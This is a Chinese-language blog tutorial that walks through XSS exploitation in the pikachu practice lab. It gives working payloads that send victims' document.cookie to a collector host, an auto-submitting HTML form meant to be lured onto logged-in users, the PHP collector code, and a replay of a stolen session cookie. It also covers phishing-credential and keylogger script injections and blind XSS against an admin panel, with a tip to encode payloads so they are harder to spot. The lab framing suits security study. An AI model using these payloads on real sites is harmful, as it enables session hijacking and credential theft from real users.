• 【网络安全 --- XSS漏洞利用实战】你知道如何利用XSS漏洞进行cookie获取,钓鱼以及键盘监听吗?--- XSS实战篇


    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取

    超详细的网络安全笔记

    二,文件包含漏洞详解

    一,XSS 实战

    以pikachu靶场为例,pikachu靶场搭建教程如下(提供工具资源):

    【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)_网络安全_Aini的博客-CSDN博客【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)https://blog.csdn.net/m0_67844671/article/details/133682360?spm=1001.2014.3001.5502

    1-1 盗取cookie

    过程:想要盗取别人的cookie信息的话有一个前提条件,就是你应该在别人触发你的xss攻击时,你的代码应该将收集的cookie信息发送给你的平台来接收,这样才获取到了数据

    1-1-1 安装xss后台

    pikachu靶场有个xss后台,先进行安装一下

    点击 点击这里 进入首页即可 

    点击第一个cookie收集,进去 

    点击cookie收集,来到如下页面进行等待,等待收取你攻击获得的数据

    http://192.168.169.190/pikachu/vul/xss/xss_stored.phphttp://192.168.31.110/pikachu/vul/xss/xss_stored.php

     1-1-2 获取cookie(GET请求)

    首先关闭phpstudy的魔法符号

    回到我们的pikachu页面,这里我们看到有xss攻击的点  

    注入XSS攻击代码 

    这个payload的意思就是获取当前网页的cookie信息,然后发送给http://192.168.169.190/pikachu/pkxss/xcookie/cookie.phphttp://192.168.169.190/pikachu/pkxss/xcookie/cookie.php

    所以当有人触发payload的时候,就会收集cookie 信息发给目xss后台,保存到数据库了http://192.168.169.190/pikachu/pkxss/xcookie/cookie.php

    1. '">

    最好对这个代码编码一下,让别人不那么容易看出来,那么这段代码的意思是将获取到的cookie,发送给这个网址的文件 /pikachu/pkxss/xcookie/cookie.php 这个文件将cookie数据保存到了xxs后台系统的数据库中,我们就能在后台看到获取的cookie数据了,我们看一下这个文件,注意header函数中的ip地址要改成我们自己的pikachu项目所在服务器的ip地址昂。这个header跳转也是为了不让对方在网址上看到你的xss代码,迷惑对方用的。 

    接下来我们看一下 获取/pikachu/pkxss/xcookie/cookie.php 的cookie.php是如何处理的

    1. //这个是获取cookie的api页面
    2. if(isset($_GET['cookie'])){
    3. $time=date('Y-m-d g:i:s');
    4. $ipaddress=getenv ('REMOTE_ADDR');
    5. $cookie=$_GET['cookie'];
    6. $referer=$_SERVER['HTTP_REFERER'];
    7. $useragent=$_SERVER['HTTP_USER_AGENT'];
    8. $query="insert cookies(time,ipaddress,cookie,referer,useragent)
    9. values('$time','$ipaddress','$cookie','$referer','$useragent')";
    10. $result=mysqli_query($link, $query);
    11. }
    12. header("Location:http://192.168.1.4/pikachu/index.php");//重定向到一个可信的网站
    13. ?>

    注入xss代码,然后访问,注意,如果别人添加cookie的时候,给set_cookie方法设置了那个httponly=True参数的话,是不能完成这个攻击的,因为有了这个参数,那么js代码就不能获取cookie了,但是它只针对js生效,什么vscript等前端语言是不受这个参数限制的  

     

    然后就是submit提交 

    再回来看看后台有么有获取到数据 

    发现已经获取到了cookie信息

    如果效果不好的话,切换php一下版本

    1-1-

    1-1-3 获取cookie(post请求)

    post请求方式的xss攻击其实是比较难实现的,因为要构造一个网页html文件出来

    下面是HTML代码,注意替换里面的IP地址信息,保存到桌面xxx.html

    action= 里的IP地址是存在xss注入点的页面网址

    document.location = 里的IP地址是xss后台的IP地址

    将里面的ip地址和路径改为这个虚拟机的ip地址和xss后台路径:这个文件我们后面想办法引导别人打开这个文件,当他打开这个文件的时候,就把他的cookie信息发送到了我们的xss后台。

    1. <html>
    2. <head>
    3. <script>
    4. window.onload = function() {
    5. document.getElementById("postsubmit").click();
    6. }
    7. script>
    8. head>
    9. <body>
    10. <form method="post" action="http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    11. <input id="xssr_in" type="text" name="message" value="'"> "
    12. />
    13. <input id="postsubmit" type="submit" name="submit" value="submit" />
    14. form>
    15. body>
    16. html>

     整个原理详细讲解

    这是登录前的状态,URL为 http://192.168.169.190/pikachu/vul/xss/xsspost/post_login.php
     

    这是登录后的状态,URL为 http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php
     

     这是 http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php 对应的后台页面服务端代码,这个页面只有登录了能访问所以有权限。所以如果直接往这个页面发请求的话就会检验有没有登录。

    下面看发post请求的html页面,以下是主体代码

    1. <body>
    2. <form method="post" action="http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    3. <input id="xssr_in" type="text" name="message" value="'"> "
    4. />
    5. <input id="postsubmit" type="submit" name="submit" value="submit" />
    6. form>
    7. body>

     这个是一个表单,提交到有权限的一个后台地址,只能登录了才能访问。可以看到input框的name属性为message,这个input框的值为

    '"><script>document.location ='http://192.168.169.190/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;script>

    准备工作差不多了,现在给大家画个详细的图解,讲解cookie如何获取

     接下来就开始实践一下吧

    找到pikachu,输入用户名和密码登录这里,admin/123456,登录成功以后,浏览器就会保存登录成功的cookie,登录成功后往后台提交数据的时候都会带上cookie ,后台根据cookie判断用户是否登录成功。

    登录成功后的效果 这时候浏览器已经保存了cookie,现在提交数据时都会带上这个cookie

    然后直接双击打开我们的post.html(注意用户登录的cookie保存在谷歌浏览器,这个xx.html算是攻击者发给用户的攻击代码,诱导用户打开)

    首先,用户打开以后会往后台 xss_reflected_post.php发请求,带上一个message='我们的payload',因为浏览器已经缓存了这个用户的cookie,所以会带上cookie,这样身份认证就通过了

    后台取出message值发现等于kebi ,就会把payload返回给客户端,payload就会在客户端执行,发请求给xss后台,同时带上自己的cookie 

    打开效果:直接跳转到了如下页面

     然后看我们xss后台的cookie信息

    有了cookie信息,我们就不知道账号密码的情况下也能登录,演示一下

    我用火狐浏览器演示不用账号密码,通过cookie登录

    网址是这个http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php

    但是这个是有权限的,如果没有登录的话,浏览器不会保存cookie ,直接访问的话后台验证失败,就会跳转到登录页,这个我们之前分析过了


     

    我还没按回车,一按回车因为登录失败就会跳转到登录页

    现在我用之前获取到的cookie试一下 ,这里用了火狐浏览器提供的一个插件,很方便的管理cookie ,可以添加cookie

    这是之前收集到的cookie

    ant[uname]=admin;

    ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=olj54c4qim7ik7k7h560eik013 

    都准备就绪了,看看能否成功 ,按回车发请求,就会携带上cookie

    我们就通过xss漏洞获取到了用户cookie以后,用用户的身份成功登录了网站。 

    1-2 钓鱼

    钓鱼的方法有很多,但是这个主要是看你的页面搭建的好不好,是不是和别人正常网站页面的很一样,能不能骗到别人,我们不能做这个昂,违法的。 只要有xss漏洞的地方,都可以做钓鱼。

    钓鱼攻击利用页面 D:\phpStudy\WWW\pikachu\pkxss\xfish

    注意把IP地址修改成你自己的 ,注意源文件路径有问题,路径少了pikachu

    这段代码就是弹出一个对话框,然后将用户在对话框中输入的用户名和密码发送到xfish.php文件中,这个文件做的事情就是将数据保存到数据库中。

     准备payload

    '"><script src="http://192.168.169.190/pikachu/pkxss/xfish/fish.php">script>

    打开pikachu的存储型位置,将payload放进入 ,然后submit

    就弹出钓鱼页面返回的输入用户名,密码的框 

     输入账号密码提交,这样以后这个payload会永久存储在数据库了,只要有用户登录机会弹出框,让用户输入用户密码,然后发给攻击者

    现在我们到xss后台看一下

    发现已经有结果了 

    当你输入了用户信息之后,点击登录,结果啊,提示你登录超时请重新登录等效果,然后你有输入了一遍用户名和密码,在点击登录的时候,你的用户信息就被拿走了,第二次提示你输入用户名密码的时候,你要注意观察网站的网站是否变化了,看上去很诡异的,编码过的,那么就不要输入了,因为这是别人做的和正常网站一样页面效果的钓鱼网站登录页面,以前qq账号密码就这么丢的。 

    1-3 获取键盘记录

    js的这个监控键盘就的js文件功能不太好昂,简答演示一下

    payload如下

    '"><script src="http://192.168.169.190/pikachu/pkxss/rkeypress/rk.js">script>

     打开下面的文件,修改一下ip地址和路径,注意源文件路径有问题,路径少了pikachu,

    存储型xss那里输入payload,提交 

    然后在页面上随便敲一敲键盘,注意只能记录这个钓鱼的页面实现键盘记录提交

    发现已经有很多数据了 

     1-4 XSS盲打

    XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下,提交恶意JS代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的。也就是通过前端插入攻击代码,在后台管理系统中生效。

    管理员后台:   http://192.168.169.190/pikachu/vul/xss/xssblind/admin_login.php

    简单payload

    xxx'"><script>confirm(1)script>

     点击提交

    点击提交之后,没有任何弹框效果,不知道它有没有xss漏洞,因为数据提交到了后台,我们在前端没有看到我们提交的任何数据。

    这里有提示后台网址

     进入后台看一下:

      http://192.168.169.190/pikachu/vul/xss/xssblind/admin_login.php

    账号密码  amin/123456

    一登录就发现,后台管理员遭殃了,原来我们前端输入的恶意代码作用到了后台 

     那么这里我如果插入的钓鱼代码,弹框效果更加好看一些,提示重新登陆等文字,那么很有可能就能获取到你的后台账号密码。

  • 相关阅读:
    「微服务」这10道Consul面试题值得一看
    C#之反射
    三季报的Expand 基于百融云高研发的Land
    类的属性和方法(java)
    ISTQB- TA大纲
    java毕业生设计学生用品采购系统计算机源码+系统+mysql+调试部署+lw
    深入研究一下mysql
    Qt-FFmpeg开发-视频播放(5)
    PT_独立事件
    秒杀微服务实现抢购代金券功能
  • 原文地址:https://blog.csdn.net/m0_67844671/article/details/133577844